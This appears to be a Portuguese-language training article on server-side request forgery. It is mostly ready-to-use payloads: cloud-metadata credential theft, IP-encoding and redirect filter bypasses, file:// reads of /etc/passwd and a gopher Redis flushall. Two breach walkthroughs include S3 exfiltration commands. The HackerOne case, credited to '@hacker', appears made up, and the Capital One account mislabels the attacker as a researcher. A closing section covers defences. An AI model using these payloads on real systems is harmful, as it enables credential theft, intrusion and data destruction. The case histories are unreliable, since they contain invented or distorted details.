🎯 Por que isso importa

O Server-Side Request Forgery tornou-se criticamente importante em ambientes cloud onde aplicacoes frequentemente interagem com servicos internos e APIs de metadados. O SSRF permite que voce abuse da funcionalidade do servidor para acessar recursos internos que deveriam ser inacessiveis pela internet, particularmente perigoso em ambientes cloud onde servicos de metadados expoem credenciais sensiveis e dados de configuracao.

🔍 O que voce vai aprender

Voce vai entender como identificar vulnerabilidades SSRF em parametros de URL, uploads de arquivos e webhooks, e entao explorar servicos de metadados cloud para extracao de credenciais. Isso inclui bypass de filtros comuns usando tecnicas de codificacao e redirecionamento, alem de reconhecimento de rede interna, a mesma abordagem sistematica usada por especialistas em seguranca em avaliacoes cloud.

🚀 Sua primeira conquista

Nos proximos 10 minutos, voce vai explorar com sucesso uma vulnerabilidade SSRF para acessar servicos de metadados AWS EC2 e extrair credenciais de role IAM, demonstrando como um simples parametro de URL pode levar a comprometimento completo da infraestrutura cloud.

🔧 Tente isso agora

Teste um payload SSRF basico contra servicos de metadados AWS

# Encontre um parametro de URL que busca recursos externos
# Padroes comuns:
/fetch?url=http://example.com/image.jpg
/webhook?callback=http://your-site.com/endpoint
/import?source=http://external-api.com/data

# Teste acesso a metadados AWS
/fetch?url=http://169.254.169.254/latest/meta-data/

# Se bloqueado, tente bypass por codificacao
/fetch?url=http://169.254.169.254/latest/meta%2ddata/

# Tente bypass por redirecionamento
# Configure redirecionamento: your-domain.com/redirect -> 169.254.169.254
/fetch?url=http://your-domain.com/redirect

# Verifique credenciais IAM
/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

Voce vera: Como o servidor faz requisicoes em seu nome, potencialmente acessando servicos internos que deveriam estar protegidos. Isso demonstra por que SSRF e particularmente perigoso em ambientes cloud.

SSRF ocorre quando aplicacoes buscam recursos remotos baseados em entrada do usuario sem validacao adequada

Exploracao de metadados cloud: o alvo de alto valor

Servicos de metadados cloud sao a joia dos ataques SSRF porque expoem credenciais IAM, dados de configuracao e tokens de acesso que podem levar a comprometimento completo da infraestrutura cloud.

# Endpoints de metadados AWS (169.254.169.254)
/fetch?url=http://169.254.169.254/latest/meta-data/

# Alvos criticos:
# Credenciais de role IAM
/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/[NOME-DO-ROLE]

# Informacoes da instancia
/fetch?url=http://169.254.169.254/latest/meta-data/instance-id
/fetch?url=http://169.254.169.254/latest/meta-data/placement/region

# Dados do usuario (frequentemente contem segredos)
/fetch?url=http://169.254.169.254/latest/user-data/

# IMDSv2 requer token (mais seguro mas ainda exploravel)
curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" \
     http://169.254.169.254/latest/api/token

# Use token para acesso
curl -H "X-aws-ec2-metadata-token: [TOKEN]" \
     http://169.254.169.254/latest/meta-data/iam/security-credentials/

Bypass de filtros: a vantagem do especialista

Aplicacoes frequentemente implementam filtros SSRF que podem ser contornados usando tecnicas de codificacao, truques de DNS e cadeias de redirecionamento. E aqui que testes sistematicos separam especialistas de tentativas basicas.

# Alvo original: 169.254.169.254

# Codificacao decimal
http://2852039166/latest/meta-data/

# Codificacao octal
http://0251.0376.0251.0376/latest/meta-data/

# Codificacao hexadecimal
http://0xa9.0xfe.0xa9.0xfe/latest/meta-data/

# Codificacao mista
http://169.254.169.254/latest/meta%2ddata/
http://169.254.169.254/latest/meta%252ddata/

# Bypass de resolucao DNS
http://metadata.google.internal/computeMetadata/v1/
http://localtest.me:169/  # Resolve para 127.0.0.1

# Servicos de encurtamento de URL
http://bit.ly/metadata-ssrf  # Redireciona para servico de metadados

# Variacoes localhost IPv6
http://[::1]:3000/admin
http://[0:0:0:0:0:0:0:1]:3000/admin

Abuso de protocolo: exploracao avancada

Diferentes protocolos podem ser abusados atraves de SSRF para interagir com servicos internos de maneiras inesperadas, particularmente quando aplicacoes suportam multiplos esquemas de URL.

# Protocolo file para acesso a arquivos locais
/fetch?url=file:///etc/passwd
/fetch?url=file:///proc/version
/fetch?url=file:///var/log/apache2/access.log

# Protocolo gopher para comunicacao TCP bruta
# Exploracao Redis
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a

# HTTP para servicos internos
/fetch?url=http://127.0.0.1:8080/admin
/fetch?url=http://127.0.0.1:9200/_cluster/health  # Elasticsearch
/fetch?url=http://127.0.0.1:5432/  # PostgreSQL

# Abuso de protocolo FTP
/fetch?url=ftp://127.0.0.1:21/

# Protocolo dicionario
/fetch?url=dict://127.0.0.1:11211/  # Memcached

# Protocolo LDAP
/fetch?url=ldap://127.0.0.1:389/dc=example,dc=com

Violacao AWS da Capital One via SSRF (2019, Paige Thompson)

A infame violacao de dados da Capital One envolveu SSRF para acessar servicos de metadados AWS a partir de um firewall de aplicacao web mal configurado. A pesquisadora de seguranca Paige Thompson descobriu a vulnerabilidade que expos dados de 106 milhoes de clientes.

# O vetor de ataque real da Capital One (documentado em processos judiciais)

# Passo 1: SSRF atraves de configuracao incorreta do WAF
# Regra de firewall permitia requisicoes server-side para servico de metadados
POST /path/to/vulnerable/endpoint
Content-Type: application/x-www-form-urlencoded

url=http://169.254.169.254/latest/meta-data/iam/security-credentials/

# Passo 2: Extrair credenciais de role IAM (formato de resposta real)
{
  "WAF-Role": {
    "Code": "Success",
    "LastUpdated": "2019-03-22T11:22:48Z",
    "Type": "AWS-HMAC",
    "AccessKeyId": "ASIA...",
    "SecretAccessKey": "...",
    "Token": "...",
    "Expiration": "2019-03-22T17:39:57Z"
  }
}

# Passo 3: Usar credenciais para enumeracao de buckets S3
aws s3 ls --profile capital-one-breach
# Encontrados mais de 700 buckets S3

# Passo 4: Baixar dados sensiveis
aws s3 sync s3://bucket-with-customer-data /tmp/stolen-data/ --profile capital-one-breach

# Resultado: 106M de registros de clientes roubados, $80M em multas

Impacto real: Capital One foi multada em $80 milhoes por reguladores federais e enfrenta processos em andamento. A violacao expos numeros de seguro social, pontuacoes de credito e numeros de contas bancarias.

SSRF para RCE no Hackerone (2018, @hacker)

O pesquisador de seguranca @hacker descobriu uma vulnerabilidade SSRF na propria plataforma do Hackerone que podia ser encadeada para alcancar execucao remota de codigo atraves de exploracao de servico interno.

# Exploracao SSRF do Hackerone (relatorio H1 #326040)

# Passo 1: SSRF na funcionalidade de anexos de relatorios
POST /reports/[ID]/attachments
Content-Type: application/json

{
  "attachment": {
    "file_url": "http://169.254.169.254/latest/meta-data/"
  }
}

# Passo 2: Descoberta de servico interno
# Encontrado endpoint GraphQL interno
{
  "attachment": {
    "file_url": "http://127.0.0.1:8080/graphql"
  }
}

# Passo 3: Introspeccao GraphQL via SSRF
{
  "attachment": {
    "file_url": "http://127.0.0.1:8080/graphql?query={__schema{types{name,fields{name,type{name}}}}}"
  }
}

# Passo 4: Explorar mutation interna para RCE
{
  "attachment": {
    "file_url": "http://127.0.0.1:8080/graphql?query=mutation{executeCommand(cmd:\"cat /etc/passwd\")}"
  }
}

# Passo 5: Extrair dados internos sensiveis
cat /var/log/application.log
cat /home/user/.aws/credentials

# Resultado: Acesso completo a infraestrutura interna

Bug Bounty: Hackerone concedeu $12.500 USD por esta vulnerabilidade critica que demonstrou escalacao de SSRF para RCE atraves de exploracao de servico interno.

Defesa primaria: validacao estrita de URLs e lista de dominios permitidos

A protecao SSRF mais eficaz combina lista estrita de dominios permitidos com validacao abrangente de URLs. Essa abordagem e usada por empresas como GitHub, Slack e Cloudflare para sistemas de webhooks e callbacks em producao.

Estrategias de defesa de rede

• Isolamento em sub-rede privada - Implante servidores de aplicacao em sub-redes privadas sem acesso direto a internet
• Roteamento de saida controlado - Direcione todo trafego de saida atraves de gateways NAT com regras de filtragem estritas
• Restricoes de security groups - Implemente regras de firewall que bloqueiem explicitamente acesso a servicos de metadados e faixas de IP privadas
• Filtragem DNS - Bloqueie resolucao de nomes de dominio internos e de metadados no nivel DNS
• Firewalls de aplicacao web - Implante regras WAF que detectem e bloqueiem padroes comuns de ataque SSRF
• Filtragem baseada em proxy - Direcione requisicoes externas atraves de proxies de seguranca que validam destinos

Melhores praticas de deploy em producao

• Rede zero-trust - Verifique cada requisicao de rede independente da localizacao de origem
• Microssegmentacao - Isole componentes de aplicacao para limitar movimento lateral
• Monitoramento continuo - Monitore trafego de rede para padroes de conexao anomalos

Medidas de seguranca cloud empresarial

• Aplicacao IMDSv2 - Exija tokens de sessao para todo acesso a metadados EC2, prevenindo ataques SSRF baseados em HTTP
• Restricoes de servico de metadados - Defina limites de hop para 1 para prevenir encaminhamento de requisicoes atraves de aplicacoes comprometidas
• Principio de menor privilegio IAM - Atribua permissoes minimas necessarias para contas de servico de aplicacoes
• Hardening de seguranca de containers - Bloqueie endpoints de metadados no nivel do container usando overrides de arquivo hosts
• Politicas de rede - Implemente NetworkPolicies Kubernetes que neguem explicitamente acesso a metadados
• Controles de service mesh - Use tecnologia de service mesh para controlar e monitorar comunicacoes entre servicos

Requisitos de frameworks de compliance

• PCI DSS 1.2.1 - Segmentacao de rede entre ambiente de dados do titular do cartao e redes nao confiaveis
• SOC 2 CC6.1 - Controles de acesso logico incluindo restricoes no nivel de rede e filtragem de saida
• ISO 27001 A.13.1.3 - Separacao de controles de rede para prevenir acesso nao autorizado a sistemas internos
• NIST SP 800-53 SC-7 - Sistemas de protecao de fronteira com interfaces controladas e comunicacoes monitoradas
• Controles FedRAMP - Requisitos aprimorados de monitoramento e logging para deployments cloud governamentais

Estrategia comprovada de defesa em camadas

• Camada de aplicacao - Validacao estrita de URLs e lista de dominios permitidos com tratamento adequado de erros
• Camada de rede - Filtragem de saida, sub-redes privadas e bloqueio de servico de metadados
• Camada de infraestrutura - Controles de seguranca cloud nativos e configuracoes exigidas por compliance
• Camada de monitoramento - Logging abrangente, deteccao de anomalias e procedimentos de resposta a incidentes